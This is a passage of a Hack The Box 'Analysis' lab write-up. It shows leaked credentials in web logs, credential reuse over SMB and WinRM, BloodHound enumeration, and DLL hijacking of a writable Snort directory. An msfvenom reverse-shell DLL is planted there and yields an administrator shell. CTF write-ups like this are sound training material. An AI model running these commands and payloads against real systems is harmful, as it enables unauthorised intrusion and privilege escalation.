10.10.16.7 - - [09/Aug/2025:13:40:22 +0200] "GET /dashboard/lib/username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:22 +0200] "GET /dashboard/img/username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:22 +0200] "GET /dashboard/uploads/username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:22 +0200] "GET /dashboard/lib/username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:28 +0200] "GET /employees/username HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:40:29 +0200] "GET /employees/username.php HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:40:48 +0200] "GET /dashboard/lib/chart/username HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:40:49 +0200] "GET /dashboard/lib/chart/username.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:41:41 +0200] "GET /users/username_check HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:42:39 +0200] "GET /username_check HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:39 +0200] "GET /username_check.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:42 +0200] "GET /users/username_check HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:42:42 +0200] "GET /users/username_check.php HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:42:51 +0200] "GET /dashboard/username_check HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:52 +0200] "GET /dashboard/username_check.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:52 +0200] "GET /dashboard/js/username_check HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:52 +0200] "GET /dashboard/css/username_check HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:52 +0200] "GET /dashboard/js/username_check.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:53 +0200] "GET /dashboard/css/username_check.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:53 +0200] "GET /dashboard/img/username_check HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:53 +0200] "GET /dashboard/img/username_check.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:53 +0200] "GET /dashboard/uploads/username_check HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:53 +0200] "GET /dashboard/lib/username_check HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:53 +0200] "GET /dashboard/uploads/username_check.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:42:53 +0200] "GET /dashboard/lib/username_check.php HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:43:00 +0200] "GET /employees/username_check HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:43:00 +0200] "GET /employees/username_check.php HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:43:20 +0200] "GET /dashboard/lib/chart/username_check HTTP/1.1" 404 1397
10.10.16.7 - - [09/Aug/2025:13:43:20 +0200] "GET /dashboard/lib/chart/username_check.php HTTP/1.1" 404 1397
127.0.0.1 - - [09/Aug/2025:13:46:23 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
10.10.16.7 - - [09/Aug/2025:13:46:23 +0200] "GET /users/usernames.txt HTTP/1.1" 404 1416
10.10.16.7 - - [09/Aug/2025:13:52:22 +0200] "GET /users/list.php?username_exists= HTTP/1.1" 200 186
10.10.16.7 - - [09/Aug/2025:13:52:22 +0200] "GET /users/list.php?validate_username= HTTP/1.1" 200 186
10.10.16.7 - - [09/Aug/2025:13:52:49 +0200] "GET /users/list.php?username= HTTP/1.1" 200 186
127.0.0.1 - - [09/Aug/2025:14:30:23 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
127.0.0.1 - - [09/Aug/2025:15:14:23 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
127.0.0.1 - - [09/Aug/2025:15:58:22 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
127.0.0.1 - - [09/Aug/2025:16:42:23 +0200] "GET /dashboard/alert_panel.php?auth=1&username=jdoe&password=7y4Z4%5E*y9Zzj&alert=c2_malware_detected HTTP/1.1" 200 8924
C:\\inetpub\\logs\\LogFiles\\W3SVC2>
we can winrm
└─$ netexec smb analysis.htb -u jdoe -p '7y4Z4^*y9Zzj'
SMB         10.10.11.250    445    DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-ANALYSIS) (domain:analysis.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.250    445    DC-ANALYSIS      [+] analysis.htb\\jdoe:7y4Z4^*y9Zzj 
                                                                                                                                                                                                                                                                              
┌──(anurag㉿anurag)-[~/htb/Analysis]
└─$ netexec winrm analysis.htb -u jdoe -p '7y4Z4^*y9Zzj'
WINRM       10.10.11.250    5985   DC-ANALYSIS      [*] Windows 10 / Server 2019 Build 17763 (name:DC-ANALYSIS) (domain:analysis.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.10.11.250    5985   DC-ANALYSIS      [+] analysis.htb\\jdoe:7y4Z4^*y9Zzj (Pwn3d!)
                                                                                                                                                                                                                                                                              
┌──(anurag㉿anurag)-[~/htand we found user.txt
    Directory: C:\\Users\\jdoe\\Desktop
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         8/9/2025  12:57 PM             34 user.txt
Privilege Escalation
Shell as ?
found encoded text
    Directory: C:\\private
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/26/2023   9:44 AM            576 encoded.txt
*Evil-WinRM* PS C:\\private> type encoded.txt
-----BEGIN ENCODED MESSAGE-----
Version: BCTextEncoder Utility v. 1.03.2.1
wy4ECQMCq0jPQTxt+3BgTzQTBPQFbt5KnV7LgBq6vcKWtbdKAf59hbw0KGN9lBIK
0kcBSYXfHU2s7xsWA3pCtjthI0lge3SyLOMw9T81CPqT3HOIKkh3SVcO9jdrxfwu
pHnjX+5HyybuBwIQwGprgyWdGnyv3mfcQQ==
=a7bc
-----END ENCODED MESSAGE-----
*Evil-WinRM* PS C:\\private> 
Looks like we will need the password or passphrase to decrypt, for now i will leave it and use Bloodhound
Bloodhound
└─$ bloodhound-python -u 'jdoe' -p '7y4Z4^*y9Zzj' -d analysis.htb -ns 10.10.11.250 -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: analysis.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc-analysis.analysis.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc-analysis.analysis.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc-analysis.analysis.htb
INFO: Found 15 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC-ANALYSIS.analysis.htb
INFO: Done in 01M 24S
INFO: Compressing output into 20250809203906_bloodhound.zip      From this we got to know that WSMITH@ANALYSIS -> ForceChangePassword/ GenericWrite -> SOC_ANALYST@ANALYSIS.HTB

and SOC_ANALYST@ANALYSIS.HTB -> DCSync -> ANALYSIS.HTB

But we don’t have Wsmith credentials
DLL Hijacking
Let’s run winPEASx64.exe
In Interesting Services -non Microsoft- I found this

Which is the Snort service that is running
After checking the permissions on the lib directroy in C:\\Snort\\lib
*Evil-WinRM* PS C:\\Snort\\lib> icacls snort_dynamicpreprocessor
snort_dynamicpreprocessor AUTORITE NT\\SystŠme:(I)(OI)(CI)(F)
                          BUILTIN\\Administrateurs:(I)(OI)(CI)(F)
                          BUILTIN\\Utilisateurs:(I)(OI)(CI)(RX)
                          BUILTIN\\Utilisateurs:(I)(CI)(AD)
                          BUILTIN\\Utilisateurs:(I)(CI)(WD)
                          CREATEUR PROPRIETAIRE:(I)(OI)(CI)(IO)(F)
Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\\Snort\\lib> The ACL output is showing us that the snort_dynamicpreprocessor folder is writable by BUILTIN\Utilisateurs (which means any standard user).
This means any standard user can add or overwrite files inside snort_dynamicpreprocessor.
- (F) → Full control 
- (RX) → Read & execute 
- (AD) → Add file 
- (WD) → Write data 
- (I) → Inherited 
- (OI)/(CI) → Object inherit / Container inherit (permissions apply to files and folders within) 
Given that I can write data to that directory, I should be able to generate a DLL, write it there, and get execution the next time Snort runs.
Let’s generate the dll and upload
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.7 LPORT=1234 -f dll -a x64 -o anurag.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: anurag.dll*Evil-WinRM* PS C:\\Snort\\lib\\snort_dynamicpreprocessor> upload /home/anurag/htb/Analysis/anurag.dll
                                        
Info: Uploading /home/anurag/htb/Analysis/anurag.dll to C:\\Snort\\lib\\snort_dynamicpreprocessor\\anurag.dll
                                        
Data: 12288 bytes of 12288 bytes copied
                                        
Info: Upload successful!The next time Snort runs (every even minute), there’s a shell as an administrator at nc:
└─$ nc -nlvp 1234                                       
listening on [any] 1234 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.250] 49843
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\\Windows\\system32>whoami
whoami
analysis\\administrateur
C:\\Windows\\system32>and we got root.txt
 Directory of C:\\Users\\Administrateur\\Desktop
01/10/2024  11:41 AM    <DIR>          .
01/10/2024  11:41 AM    <DIR>          ..
08/10/2025  09:32 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,053,364,736 bytes free
C:\\Users\\Administrateur\\Desktop>Last updated